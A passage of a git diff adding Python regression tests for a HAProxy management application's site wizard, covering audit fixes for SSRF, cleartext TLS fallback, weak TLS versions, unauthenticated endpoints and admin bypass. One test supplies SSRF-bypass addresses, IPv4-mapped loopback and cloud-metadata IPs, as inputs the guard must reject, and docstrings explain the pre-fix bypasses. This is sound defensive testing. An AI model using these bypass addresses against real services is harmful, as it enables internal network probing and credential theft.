"R18c-#6 regression: formatVersionName must ALSO keep " + "recognising the legacy `bulk-proxied-host-create-` prefix " + "so historical APPLIED versions still render with a human " + "label after the rename" + ) + assert "New Site (wizard)" in body, ( + "R18c-#6 regression: formatVersionName no longer surfaces a " + "human label for wizard versions" + ) + + +def test_bulk_version_history_allows_restore_of_wizard_versions(): + src = (_FRONT / "components" / "BulkVersionHistory.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + # The Restore predicate must accept the wizard bulk prefix. + # Locate the predicate by finding the restore Popconfirm scope. + restore_block = body[body.find("Restore Configuration Version"):] + restore_block = body[ + max(0, body.find("Restore Configuration Version") - 600): + body.find("Restore Configuration Version") + 200 + ] + assert "bulk-site-create-" in restore_block, ( + "R18c-#6 regression: BulkVersionHistory Restore button no " + "longer surfaces for current-naming wizard bulk versions — " + "operator cannot roll back to a previous applied state from " + "this page after a wizard apply" + ) + assert "bulk-proxied-host-create-" in restore_block, ( + "R18c-#6 regression: BulkVersionHistory Restore predicate " + "must keep accepting the legacy `bulk-proxied-host-create-` " + "prefix so historical APPLIED versions remain restorable " + "after the rename" + ) + + +# ----------------- R18c-#7 & #8: UserManagement activity table ----------------- + + +def test_user_management_activity_includes_wizard_fields(): + src = (_FRONT / "components" / "UserManagement.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + # Important keys must include the wizard's degraded-outcome + # fields so the truncated cell highlights actual context. + for k in ( + "'wizard_status'", + "'apply_error'", + "'acme_staging_error'", + "'version_name'", + "'ssl_mode'", + ): + assert k in body, ( + f"R18c-#7 regression: activity 'Details' summary no " + f"longer includes {k} — wizard outcome only visible " + "via JSON tooltip" + ) + + +def test_user_management_activity_uses_composite_row_key(): + src = (_FRONT / "components" / "UserManagement.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + # Allow the deprecated pattern to appear inside comments (the + # R18c fix comment intentionally cites the legacy form). Strip + # line comments before the negative check. + code_only = "\n".join( + ln for ln in body.splitlines() if not ln.lstrip().startswith("//") + ) + assert 'rowKey="timestamp"' not in code_only, ( + "R18c-#8 regression: activity Table still uses " + "`rowKey=\"timestamp\"` — burst logging produces duplicate " + "React keys in the same second" + ) + # Composite key must reference the row id and a fallback. + assert "rowKey={(r) =>" in body, ( + "R18c-#8 regression: activity Table no longer uses a " + "composite rowKey function" + ) + + +# ----------------- R18c-#9: SSLManagement extractApiError ----------------- + + +def test_ssl_management_uses_extract_api_error_on_delete(): + src = (_FRONT / "components" / "SSLManagement.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + assert "extractApiError" in body, ( + "R18c-#9 regression: SSLManagement no longer imports the " + "shared extractApiError helper — error messages may render " + "as '[object Object]' on FastAPI validation errors" + ) + # The pre-fix raw concatenation must be gone from the delete handler. + bad_pattern = "error.response?.data?.detail" + delete_block = body[body.find("Failed to delete certificate"):][:300] + assert bad_pattern not in delete_block, ( + "R18c-#9 regression: delete-cert handler still concatenates " + "raw response.data.detail into the error toast" + ) diff --git a/backend/tests/test_site_wizard_r18c_round3.py b/backend/tests/test_site_wizard_r18c_round3.py new file mode 100644 index 0000000..0a7da68 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round3.py @@ -0,0 +1,242 @@ +"""v1.5.0 R18c round 3 audit fixes — API contract / config / SSRF tests. + +Findings discovered during R18c round 3 (concurrency, SSRF, +graceful shutdown, HAProxy config validity, weak TLS): + + R18c-#10 (Frontends bind UNIQUE — KRITIK concurrency): pre-fix + `check_bind_port_collision` ran a plain SELECT outside the + wizard transaction with no FOR UPDATE, and the schema had NO + uniqueness on (cluster_id, bind_address, bind_port). Two + concurrent wizards could both pass the check and both INSERT, + producing two active frontends bound to the same port — + HAProxy refused to reload and the cluster was wedged. Migration + `ensure_frontends_bind_unique_constraint` adds a partial + UNIQUE index that serializes the race; the wizard router's + UniqueViolationError handler (R18b round 3) maps duplicates + to a clean 409. + + R18c-#11 (HTTPS cleartext fallback — KRITIK SECURITY): pre-fix + when `ssl_enabled=true` but no certificate path resolved + (deleted cert, ACME-deferred state) the config generator fell + through to `bind addr:port` (no `ssl` keyword), silently + downgrading the operator's HTTPS frontend to CLEARTEXT on the + same port. The fix omits the bind line entirely and emits an + ERROR log so the operator notices. + + R18c-#12 (`verify required` without ca-file — KRITIK config + validity): pre-fix `verify required` was emitted verbatim even + if the referenced ssl_certificate_id resolved to no PEM, + producing a config that either failed reload or — worse — + silently fell through to system trust. The fix downgrades to + `verify none` with an ERROR log. + + R18c-#13 (SSRF IPv4-mapped IPv6 — KRITIK SECURITY): pre-fix the + `_is_public_ip` guard tested `is_loopback / is_private` on + raw IPv6 addresses; an attacker who controlled a domain's + AAAA record could point it at `::ffff:127.0.0.1` (IPv4-mapped + loopback) or `::ffff:169.254.169.254` (cloud metadata) and + bypass the SSRF guard. Now the guard normalizes via + `.ipv4_mapped` before classification. + + R18c-#14 (Shutdown drain for fire-and-forget audit): pre-fix + `shutdown_event` immediately closed the DB pool, so any + in-flight `asyncio.create_task(log_user_activity(...))` + background task hit "pool is closed" and dropped its row. + Now the shutdown drains pending tasks for up to 5s before + closing the pool. + + R18c-#15 (Weak TLS — RFC 8996): pre-fix the wizard accepted + `TLSv1.0` / `TLSv1.1` for both server and HTTPS frontend + `ssl_min_ver` / `ssl_max_ver`. Both are formally deprecated. + The wizard now rejects them with a clear error. +""" +from pathlib import Path +import asyncio + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent + + +# ----------------- R18c-#10: bind UNIQUE migration ----------------- + + +def test_frontends_bind_unique_migration_present(): + src = (_REPO / "database" / "migrations.py").read_text() + assert "ensure_frontends_bind_unique_constraint" in src, ( + "R18c-#10 KRITIK regression: bind unique migration " + "function `ensure_frontends_bind_unique_constraint` " + "missing — concurrent wizards can race-INSERT duplicate " + "binds" + ) + assert "idx_frontends_active_bind_unique" in src, ( + "R18c-#10 KRITIK regression: partial UNIQUE index name " + "missing — re-creating the index requires the literal " + "name to remain stable" + ) + # The migration must be wired into the startup sequence. + assert "await ensure_frontends_bind_unique_constraint()" in src, ( + "R18c-#10 KRITIK regression: bind unique migration not " + "called from startup — index will not be created on a " + "fresh deploy" + ) + + +# ----------------- R18c-#11: HTTPS cleartext fallback ----------------- + + +def test_haproxy_config_omits_bind_when_ssl_enabled_and_no_cert(): + src = (_REPO / "services" / "haproxy_config.py").read_text() + # Locate the post-SSL fallback block. + fallback_idx = src.find("# If no SSL bind was added") + if fallback_idx == -1: + # The legacy comment may have been replaced by the new + # comment block — try a stable anchor on the new code. + fallback_idx = src.find("if not bind_added:") + assert fallback_idx != -1, "fallback block anchor missing" + block = src[fallback_idx:fallback_idx + 1200] + # The fix MUST have a guard against ssl_enabled=true falling + # through to a plain bind. + assert "ssl_enabled" in block, ( + "R18c-#11 KRITIK SECURITY regression: cleartext-fallback " + "block no longer checks ssl_enabled — HTTPS frontends " + "with unresolved certs may degrade to plaintext on the " + "same port" + ) + assert "SSL BIND OMITTED" in block or "refusing to emit" in block, ( + "R18c-#11 KRITIK SECURITY regression: fallback no longer " + "OMITS the cleartext bind for ssl_enabled frontends" + ) + + +# ----------------- R18c-#12: server `verify required` without ca-file ----------------- + + +def test_haproxy_config_downgrades_verify_required_without_ca_file(): + src = (_REPO / "services" / "haproxy_config.py").read_text() + # The downgrade branch must check has_ca_file. + assert "verify_lower in ('required', 'optional') and not has_ca_file" in src, ( + "R18c-#12 KRITIK config validity regression: server-line " + "verify guard no longer downgrades to `verify none` when " + "the referenced ca-file did not resolve — HAProxy reload " + "may fail or silently fall through to system trust" + ) + assert "CONFIG SSL DOWNGRADE" in src, ( + "R18c-#12 regression: downgrade is no longer logged as " + "ERROR — operator loses the diagnostic trail" + ) + + +# ----------------- R18c-#13: SSRF IPv4-mapped IPv6 ----------------- + + +def test_is_public_ip_unwraps_ipv4_mapped_ipv6(): + # Import the helper directly and assert behaviour. + import importlib + spec = importlib.util.spec_from_file_location( + "acme_diagnostics_test_import", + _REPO / "services" / "acme_diagnostics.py", + ) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + + # IPv4-mapped IPv6 loopback / private / link-local must be REJECTED. + assert mod._is_public_ip("::ffff:127.0.0.1") is False, ( + "R18c-#13 KRITIK SSRF regression: ::ffff:127.0.0.1 " + "(IPv4-mapped loopback) classified as public — SSRF guard " + "bypass via crafted AAAA record" + ) + assert mod._is_public_ip("::ffff:169.254.169.254") is False, ( + "R18c-#13 KRITIK SSRF regression: ::ffff:169.254.169.254 " + "(cloud metadata IP via IPv4-mapped IPv6) classified as " + "public" + ) + assert mod._is_public_ip("::ffff:10.0.0.5") is False, ( + "R18c-#13 regression: IPv4-mapped RFC1918 classified as " + "public" + ) + # And the existing public/private classifications must still + # work for the unwrapped forms. + assert mod._is_public_ip("127.0.0.1") is False + assert mod._is_public_ip("10.0.0.5") is False + assert mod._is_public_ip("8.8.8.8") is True + assert mod._is_public_ip("2606:4700:4700::1111") is True + + +# ----------------- R18c-#14: shutdown drains background tasks ----------------- + + +def test_shutdown_drains_background_tasks_before_pool_close(): + src = (_REPO / "main.py").read_text() + # Locate shutdown_event body. + sd_idx = src.find("async def shutdown_event") + assert sd_idx != -1 + body = src[sd_idx:sd_idx + 3000] + assert "asyncio.all_tasks" in body, ( + "R18c-#14 regression: shutdown_event no longer enumerates " + "pending background tasks before closing the DB pool — " + "fire-and-forget audit log writes can be lost" + ) + assert "asyncio.wait" in body, ( + "R18c-#14 regression: shutdown_event no longer waits for " + "pending tasks to finish" + ) + # The drain must happen BEFORE close_database_pool. + drain_idx = body.find("asyncio.wait") + pool_close_idx = body.find("close_database_pool()") + assert 0 < drain_idx < pool_close_idx, ( + "R18c-#14 regression: drain step is no longer ordered " + "before close_database_pool — closing the pool first " + "still loses background task writes" + ) + + +# ----------------- R18c-#15: weak TLS rejection ----------------- + + +def test_wizard_rejects_tls_1_0_and_1_1_on_servers(): + from models.site_wizard import ServerStep + from pydantic import ValidationError + + base = dict( + server_name="srv", + server_address="10.0.0.5", + server_port=8080, + ) + for v in ("TLSv1.0", "TLSv1.1"): + with pytest.raises(ValidationError) as exc: + ServerStep(**base, ssl_enabled=True, ssl_min_ver=v) + assert "deprecated" in str(exc.value).lower() or "rfc 8996" in str(exc.value).lower(), ( + f"R18c-#15 regression: server.ssl_min_ver={v} no " + "longer rejected with the RFC 8996 hint" + ) + with pytest.raises(ValidationError): + ServerStep(**base, ssl_enabled=True, ssl_max_ver=v) + + +def test_wizard_rejects_tls_1_0_and_1_1_on_https_frontend(): + from models.site_wizard import SSLChoice + from pydantic import ValidationError + + for v in ("TLSv1.0", "TLSv1.1"): + with pytest.raises(ValidationError): + SSLChoice(mode="upload", ssl_min_ver=v) + with pytest.raises(ValidationError): + SSLChoice(mode="upload", ssl_max_ver=v) + + +def test_wizard_still_accepts_tls_1_2_and_1_3(): + """Sanity: the rejection is targeted, not blanket.""" + from models.site_wizard import ServerStep, SSLChoice + base = dict( + server_name="srv", + server_address="10.0.0.5", + server_port=8080, + ) + for v in ("TLSv1.2", "TLSv1.3"): + # Should not raise. + ServerStep(**base, ssl_enabled=True, ssl_min_ver=v) + ServerStep(**base, ssl_enabled=True, ssl_max_ver=v) + SSLChoice(mode="upload", ssl_min_ver=v) + SSLChoice(mode="upload", ssl_max_ver=v) diff --git a/backend/tests/test_site_wizard_r18c_round4.py b/backend/tests/test_site_wizard_r18c_round4.py new file mode 100644 index 0000000..15c26e1 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round4.py @@ -0,0 +1,106 @@ +"""v1.5.0 R18c round 4 (convergence) audit fixes. + +Findings discovered during R18c round 4 (regression on R18c 1-3 + +hard-untouched topics): + + R18c-#16 (User-activity API exposes other users' rows — KRITIK + info leak): pre-fix `GET /api/users/user-activity` only checked + that the caller had a valid token, never that they were + authorized to see ANOTHER operator's stream. Any authenticated + user could omit `user_id` to fetch the entire activity log of + every operator on the platform — including admin apply rows + and (after R18b round 6) the wizard's `apply_error` / + `acme_staging_error` JSON. Admin-only listing now; non-admins + are limited to their own user_id and rejected on + cross-account requests. + + R18c-#17 (SSRF dual-stack residual — KRITIK): pre-fix the + aiohttp ClientSession used the default connector, which did + its own dual-stack `getaddrinfo` and could connect via AAAA + even when the SSRF guard's `gethostbyname_ex` only saw IPv4. + A crafted DNS pair (benign public A + private/loopback AAAA) + could route the probe through the IPv6 path. Connector now + forced to family=AF_INET so the family the guard inspects + matches the family the connector uses. + + R18c-#18 (Migration docstring overstated dedup): pre-fix the + docstring claimed the partial UNIQUE migration would + "deduplicate" legacy duplicates. In reality + `CREATE UNIQUE INDEX IF NOT EXISTS` only skips when the index + NAME already exists — duplicate ROW data still aborts index + creation. Operators reading the comment may have wrongly + expected auto-dedup. Docstring corrected with the manual + consolidation runbook. +""" +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent + + +# ----------------- R18c-#16: user-activity admin guard ----------------- + + +def test_user_activity_endpoint_blocks_cross_user_access_for_non_admin(): + src = (_REPO / "routers" / "user.py").read_text() + # Locate the get_user_activity body. + fn_idx = src.find("async def get_user_activity") + assert fn_idx != -1 + body = src[fn_idx:fn_idx + 3500] + assert "is_admin" in body, ( + "R18c-#16 KRITIK info leak regression: user-activity " + "endpoint no longer reads is_admin — non-admins can " + "request another user's activity stream" + ) + assert "Only administrators" in body or "status_code=403" in body, ( + "R18c-#16 KRITIK info leak regression: cross-user request " + "no longer raises 403" + ) + # Default-to-self for non-admins must be present. + assert "user_id = own_id" in body or "user_id = current_user" in body, ( + "R18c-#16 regression: non-admins no longer default-scoped " + "to their own user_id when omitted" + ) + + +# ----------------- R18c-#17: SSRF dual-stack residual ----------------- + + +def test_check_port80_forces_ipv4_connector(): + src = (_REPO / "services" / "acme_diagnostics.py").read_text() + # The aiohttp connector must force IPv4 family. + assert "TCPConnector(family=socket.AF_INET" in src, ( + "R18c-#17 KRITIK SSRF regression: aiohttp connector no " + "longer forced to IPv4 — SSRF guard inspects IPv4-only " + "DNS but connector can dual-stack to AAAA, bypassing the " + "guard via crafted DNS pairs" + ) + + +# ----------------- R18c-#18: migration docstring fix ----------------- + + +def test_migration_docstring_no_longer_claims_auto_dedup(): + src = (_REPO / "database" / "migrations.py").read_text() + fn_idx = src.find("async def ensure_frontends_bind_unique_constraint") + assert fn_idx != -1 + block = src[fn_idx:fn_idx + 3500] + # The misleading "Idempotent: skips on legacy rows..." line must be gone. + # Allow the word 'idempotent' in any contextual sense, but the + # specific overstatement about deduplication MUST NOT remain. + assert ( + "deduplicating with a logical-key keepalive" not in block + and "skips on legacy rows that already" not in block + ), ( + "R18c-#18 regression: migration docstring still claims " + "legacy duplicates are auto-deduplicated — operators may " + "deploy expecting auto-cleanup that never happens" + ) + # The corrected runbook hint must be present. + assert "manually consolidate" in block.lower() or "operationally" in block.lower(), ( + "R18c-#18 regression: corrected docstring no longer " + "documents the manual consolidation path operators must " + "take when the index creation aborts" + ) diff --git a/backend/tests/test_site_wizard_r18c_round5.py b/backend/tests/test_site_wizard_r18c_round5.py new file mode 100644 index 0000000..1a3fd7c --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round5.py @@ -0,0 +1,101 @@ +"""v1.5.0 R18c round 5 audit fixes — final convergence sweep. + +Findings discovered during R18c round 5 (after R18c rounds 1-4): + + R18c-#19 (`GET /api/users` info leak — KRITIK): pre-fix any + authenticated user could fetch the FULL user roster (username, + email, phone, full_name, is_admin, roles, cluster_ids, + timestamps). Mutations were already admin-only; the read path + now matches. + + R18c-#20 (`GET /api/roles` info leak — KRITIK): pre-fix any + authenticated user could read the full RBAC layout — + permissions blob and cluster_ids per role. Invaluable + reconnaissance for privilege escalation. Now admin-only. + + R18c-#21 (Wizard ignores `cluster.acme_enabled` — KRITIK + functional): pre-fix the wizard staged ACME orders against + clusters whose `acme_enabled` flag was false. The HAProxy + config generator only injects the `/.well-known/acme-challenge` + routing block when that flag is true, so the order's HTTP-01 + validation always failed with no clear cause. The wizard now + rejects ACME staging on disabled clusters with a clear 400 + pointing the operator at the cluster's ACME toggle. +""" +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent + + +# ----------------- R18c-#19: get_users admin guard ----------------- + + +def test_get_users_requires_admin(): + src = (_REPO / "routers" / "user.py").read_text() + fn_idx = src.find("async def get_users") + assert fn_idx != -1 + body = src[fn_idx:fn_idx + 1500] + assert "is_admin" in body, ( + "R18c-#19 KRITIK info leak regression: GET /api/users no " + "longer checks is_admin — full operator roster (incl. " + "emails, is_admin flags) leaks to any authenticated caller" + ) + assert "status_code=403" in body, ( + "R18c-#19 regression: non-admin path no longer raises 403" + ) + + +# ----------------- R18c-#20: get_roles admin guard ----------------- + + +def test_get_roles_requires_admin(): + src = (_REPO / "routers" / "user.py").read_text() + fn_idx = src.find("async def get_roles") + assert fn_idx != -1 + body = src[fn_idx:fn_idx + 1500] + assert "is_admin" in body, ( + "R18c-#20 KRITIK info leak regression: GET /api/roles no " + "longer checks is_admin — full RBAC permissions blob leaks " + "to any authenticated caller" + ) + assert "status_code=403" in body, ( + "R18c-#20 regression: non-admin path no longer raises 403" + ) + + +# ----------------- R18c-#21: wizard respects cluster.acme_enabled ----------------- + + +def test_wizard_rejects_acme_on_disabled_cluster(): + src = (_REPO / "routers" / "site_wizard.py").read_text() + # The wizard CREATE flow must SELECT acme_enabled before + # staging an ACME order. + create_idx = src.find("async def create_site") + assert create_idx != -1 + body = src[create_idx:] + # The cluster acme_enabled SELECT must be inside the + # `body.ssl.mode == "acme"` branch. + acme_block_start = body.find('if body.ssl.mode == "acme":', body.find("ACME mode: resolve account")) + assert acme_block_start != -1, ( + "R18c-#21 regression: ACME mode block anchor missing in " + "create_proxied_host — cannot verify cluster guard" + ) + acme_block = body[acme_block_start:acme_block_start + 2500] + assert "acme_enabled FROM haproxy_clusters" in acme_block, ( + "R18c-#21 KRITIK functional regression: wizard CREATE no " + "longer checks the cluster's acme_enabled flag before " + "staging an order — operators stage doomed orders that " + "fail HTTP-01 because the cluster does not route " + "/.well-known/acme-challenge" + ) + assert "acme_enabled=false" in acme_block.lower() or "has acme_enabled=false" in acme_block, ( + "R18c-#21 regression: error message no longer mentions the " + "cluster's flag, depriving operators of the actionable hint" + ) + assert "status_code=400" in acme_block, ( + "R18c-#21 regression: ACME-on-disabled-cluster no longer " + "raises 400" + ) diff --git a/backend/tests/test_site_wizard_r18c_round6.py b/backend/tests/test_site_wizard_r18c_round6.py new file mode 100644 index 0000000..52d2d88 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round6.py @@ -0,0 +1,113 @@ +"""v1.5.0 R18c round 6 audit fixes — anonymous-read endpoints. + +Findings discovered during R18c round 6 (final convergence sweep): + + R18c-#22 (`GET /api/frontends` accepted anonymous GETs — KRITIK + info leak): pre-fix the listener catalog was readable without a + JWT, exposing bind addresses, SSL cert IDs, ACL/redirect rules, + and ssl_verify configuration for every cluster. With wizard- + created rows now part of the catalog, an unauthenticated + reader could enumerate the platform's complete frontend + inventory. Now requires an authenticated caller; the React UI + already attaches the JWT via axios defaults so the change is + non-breaking. + + R18c-#23 (`GET /api/backends` accepted anonymous GETs — KRITIK + info leak): same shape as #22 for backend topology — server + addresses, ports, ca-file paths, weights — including any rows + the wizard wired up. + + R18c-#24 (`GET /api/clusters` accepted anonymous GETs — KRITIK + info leak): clusters are the backbone of cluster-scoped RBAC + elsewhere; pre-fix the endpoint leaked cluster topology + (stats socket, config paths, ACME flags, agent counts) without + any JWT. Now requires authentication so cluster-scoped + enumeration cannot be done as a passer-by. +""" +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent + + +def _read(p): + return p.read_text() + + +def _function_block(src: str, name: str, *, tail: int = 2500) -> str: + idx = src.find(f"async def {name}") + assert idx != -1, f"function {name} not found" + return src[idx:idx + tail] + + +# ----------------- R18c-#22: GET /api/frontends auth ----------------- + + +def test_get_frontends_requires_authorization(): + src = _read(_REPO / "routers" / "frontend.py") + block = _function_block(src, "get_frontends") + assert "authorization: str = Header" in block, ( + "R18c-#22 KRITIK info leak regression: GET /api/frontends " + "no longer accepts the Authorization header parameter — " + "guard removed?" + ) + assert "get_current_user_from_token(authorization)" in block, ( + "R18c-#22 KRITIK info leak regression: GET /api/frontends " + "no longer authenticates the caller — full listener " + "catalog leaks anonymously" + ) + + +# ----------------- R18c-#23: GET /api/backends auth ----------------- + + +def test_get_backends_requires_authorization(): + src = _read(_REPO / "routers" / "backend.py") + # The backends function body is very long (extensive docstring + + # branching), so widen the read window to cover the auth guard. + block = _function_block(src, "get_backends", tail=4500) + assert "authorization: str = Header" in block, ( + "R18c-#23 KRITIK info leak regression: GET /api/backends " + "no longer accepts the Authorization header parameter" + ) + assert "get_current_user_from_token(authorization)" in block, ( + "R18c-#23 KRITIK info leak regression: GET /api/backends " + "no longer authenticates the caller — backend server " + "addresses leak anonymously" + ) + + +# ----------------- R18c-#24: GET /api/clusters auth ----------------- + + +def test_get_clusters_requires_authorization(): + src = _read(_REPO / "routers" / "cluster.py") + block = _function_block(src, "get_clusters", tail=4000) + assert "authorization: str = Header" in block, ( + "R18c-#24 KRITIK info leak regression: GET /api/clusters " + "no longer accepts the Authorization header parameter" + ) + assert "get_current_user_from_token(authorization)" in block, ( + "R18c-#24 KRITIK info leak regression: GET /api/clusters " + "no longer authenticates the caller — cluster topology " + "(stats socket, config paths) leaks anonymously" + ) + + +def test_get_cluster_by_id_requires_authorization(): + """R18c convergence: anonymous GET /api/clusters/{id} bypassed + the round 6 list guard by iterating IDs. Locked down for parity + with the list endpoint so the attack surface is symmetric.""" + src = _read(_REPO / "routers" / "cluster.py") + block = _function_block(src, "get_cluster", tail=2500) + assert "authorization: str = Header" in block, ( + "R18c convergence regression: GET /api/clusters/{id} no " + "longer accepts the Authorization header — anonymous " + "ID-iterate enumeration possible despite list endpoint guard" + ) + assert "get_current_user_from_token(authorization)" in block, ( + "R18c convergence regression: GET /api/clusters/{id} no " + "longer authenticates the caller" + ) diff --git a/backend/tests/test_site_wizard_r18c_round7.py b/backend/tests/test_site_wizard_r18c_round7.py new file mode 100644 index 0000000..7ba3e69 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round7.py @@ -0,0 +1,350 @@ +"""v1.5.0 R18c round 7 audit fixes — admin RBAC bypass + draft UX. + +Findings discovered during R18c round 7: + + R18c-#26 (KRITIK): admin user receives "Insufficient permissions: + backend.create required" from the wizard's CREATE endpoint when the + role attached to that admin doesn't enumerate every granular + permission. Enterprise super-admin (`users.is_admin = TRUE`) MUST + bypass granular permission checks system-wide; pre-fix the helper + only consulted `roles.permissions`. Fix: `check_user_permission` + now short-circuits on `is_admin` (either via the optional + current_user kwarg or a single SELECT). Wizard CREATE callsites + pass `current_user=current_user` to skip the extra DB roundtrip. + + R18c-#27 (UX): resuming a draft from /sites/drafts dropped the user + on the first wizard step (Cluster & Domains) even though every + field was already populated. Operator had to click Next four + times to reach Review & Apply. Fix: the hydrate effect now jumps + straight to the last step (`WIZARD_LAST_STEP = 4`); the existing + "Resumed from draft" Alert mentions the Previous button so the + operator can still go back and edit any earlier field. + + R18c-#28 (UX): drafts list lacked a Preview action. Operators had to + Resume (and thereby take the wizard out of the drafts page) just + to see what the draft would create. Fix: new Preview button calls + /api/proxied-hosts/preview with the draft payload and renders + the would_create + warnings response in a modal — the same + contract that the live wizard's Preview step uses. + + R18c-#29 (Drafts SSL display): drafts list showed a single "Expires" + column counting the draft TTL (created_at + 30 days). When a + draft selected an existing certificate with 191 days left, + operators read the 30-day TTL as a cert expiry and reported it + as a bug. Fix: + * GET /drafts response now includes ssl_cert_summary (batch + SELECT, no N+1) for drafts whose ssl.mode == 'existing'. + * Drafts UI gains a SSL/TLS column (mirroring + FrontendManagement's SSL/TLS column via getSSLExpiryInfo). + * The TTL column is renamed to "Draft Expires" so its meaning + is unambiguous. +""" +import re +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent +_FRONT = _REPO.parent / "frontend" / "src" +_WIZARD_PATH = _FRONT / "components" / "SiteWizard.js" +_DRAFTS_PATH = _FRONT / "components" / "SiteDrafts.js" + +# When the test suite is executed inside the backend-only Docker image +# (which is what the CI Dockerfile.test ships) the frontend tree isn't +# present, so the JS source-level assertions cannot run. Skip the +# module rather than fail loudly — backend assertions still run from +# their own per-test file scope. +_FRONTEND_AVAILABLE = _WIZARD_PATH.exists() and _DRAFTS_PATH.exists() + + +def _read(p: Path) -> str: + return p.read_text() + + +_skip_no_frontend = pytest.mark.skipif( + not _FRONTEND_AVAILABLE, + reason="frontend/src not present (backend-only test container) — " + "JS source-level assertions skipped", +) + + +# ===================================================================== +# R18c-#26: admin-aware check_user_permission +# ===================================================================== + + +def test_check_user_permission_has_admin_short_circuit(): + """The helper must accept `current_user` kwarg AND fall back to a + single SELECT is_admin lookup when the dict isn't supplied.""" + src = _read(_REPO / "auth_middleware.py") + + # Find the function definition so we don't accidentally match other + # mentions of `is_admin` elsewhere in the module. + idx = src.find("async def check_user_permission(") + assert idx != -1, ( + "R18c-#26 regression: check_user_permission helper missing" + ) + block = src[idx:idx + 3000] + + assert "current_user: Optional[Dict[str, Any]] = None" in block or \ + "current_user: Optional[dict] = None" in block, ( + "R18c-#26 regression: check_user_permission must accept an " + "optional current_user kwarg so callers with the user dict " + "already in hand can skip the is_admin DB roundtrip." + ) + assert "current_user.get(\"is_admin\") is True" in block, ( + "R18c-#26 regression: check_user_permission no longer " + "short-circuits when current_user is admin." + ) + assert "SELECT is_admin FROM users WHERE id" in block, ( + "R18c-#26 regression: check_user_permission no longer falls " + "back to a SELECT is_admin lookup for callers that don't " + "provide current_user." + ) + # And — crucially — the role-based path must remain so non-admin + # users still get filtered correctly. + assert "get_user_permissions(user_id)" in block, ( + "R18c-#26 regression: check_user_permission stopped consulting " + "role permissions for non-admin users." + ) + + +def test_wizard_create_passes_current_user_to_check_user_permission(): + """Every check_user_permission(...) callsite that has a + current_user dict in scope must forward it via the kwarg so we + don't pay an extra is_admin SELECT per check. + + Three callsites today: preflight_acme (ssl.read), wizard CREATE + composite for-loop (backend/frontend/ssl create), and wizard + CREATE apply.execute. We assert each contains the kwarg. + """ + src = _read(_REPO / "routers" / "site_wizard.py") + # Find every `await check_user_permission(` occurrence and assert + # the call (which may span multiple lines) includes the kwarg. + import re as _re + pattern = _re.compile(r"await check_user_permission\(([^)]*)\)", _re.DOTALL) + callsites = pattern.findall(src) + assert callsites, ( + "R18c-#26 regression: no check_user_permission(...) callsites " + "found at all." + ) + missing = [c for c in callsites if "current_user=current_user" not in c] + assert not missing, ( + "R18c-#26 regression: some check_user_permission callsites do " + "NOT forward current_user, so each one pays an extra is_admin " + f"SELECT for the admin path. Missing on {len(missing)} callsite(s)." + ) + + +# ===================================================================== +# R18c-#27: draft resume jumps to Review & Apply +# ===================================================================== + + +@_skip_no_frontend +def test_wizard_defines_wizard_last_step_constant(): + src = _read(_WIZARD_PATH) + assert re.search(r"const\s+WIZARD_LAST_STEP\s*=\s*4\b", src), ( + "R18c-#27 regression: WIZARD_LAST_STEP constant missing or " + "no longer set to 4. The constant gates draft-resume → Review " + "step navigation; if a future refactor adds/removes a step, " + "update both the constant and this test." + ) + + +@_skip_no_frontend +def test_wizard_resume_jumps_to_last_step(): + src = _read(_WIZARD_PATH) + # The hydrate effect lives below the resumedFromDraft setter call. + # We check the constant is invoked there. + assert "setStep(WIZARD_LAST_STEP)" in src, ( + "R18c-#27 regression: hydrate effect no longer calls " + "setStep(WIZARD_LAST_STEP) after applying the draft. Operators " + "are dropped on step 0 again." + ) + + +@_skip_no_frontend +def test_resumed_alert_mentions_previous_navigation(): + src = _read(_WIZARD_PATH) + # We include "Previous" guidance in the Alert description so users + # know they can edit earlier steps. + assert "Previous" in src, ( + "R18c-#27 UX regression: resumed-from-draft Alert no longer " + "mentions the Previous button. Without that hint operators " + "may not realize they can edit earlier steps." + ) + + +# ===================================================================== +# R18c-#28: Drafts Preview button +# ===================================================================== + + +@_skip_no_frontend +def test_drafts_imports_eye_icon(): + src = _read(_DRAFTS_PATH) + assert "EyeOutlined" in src, ( + "R18c-#28 regression: SiteDrafts.js no longer imports " + "EyeOutlined for the new Preview action." + ) + + +@_skip_no_frontend +def test_drafts_preview_handler_exists(): + src = _read(_DRAFTS_PATH) + assert "const handlePreview" in src, ( + "R18c-#28 regression: handlePreview function missing" + ) + assert "axios.post('/api/sites/preview'" in src, ( + "R18c-#28 regression: handlePreview no longer POSTs to " + "/api/sites/preview (post-Phase-B URL rename)" + ) + + +@_skip_no_frontend +def test_drafts_preview_modal_renders_key_sections(): + src = _read(_DRAFTS_PATH) + # Assert the modal renders the major sections operators expect. + for label in ( + "Cluster & Domains", + "Would Create — Backend", + "Would Create — HTTP Frontend", + "Would Create — HTTPS Frontend", + "Warnings", + ): + assert label in src, ( + f"R18c-#28 regression: Preview modal no longer renders " + f"the {label!r} section." + ) + + +@_skip_no_frontend +def test_drafts_preview_modal_state_cleanup(): + """When the modal closes we must clear preview state to avoid + showing stale data on the next open.""" + src = _read(_DRAFTS_PATH) + assert "handleClosePreview" in src, ( + "R18c-#28 regression: handleClosePreview missing" + ) + # Each setter should be called from handleClosePreview. + close_idx = src.find("const handleClosePreview") + assert close_idx != -1 + block = src[close_idx:close_idx + 800] + for setter in ( + "setPreviewModalOpen(false)", + "setPreviewData(null)", + "setPreviewError(null)", + ): + assert setter in block, ( + f"R18c-#28 stale-data regression: handleClosePreview no " + f"longer calls {setter}" + ) + + +# ===================================================================== +# R18c-#29: Drafts SSL/TLS column + ssl_cert_summary +# ===================================================================== + + +def 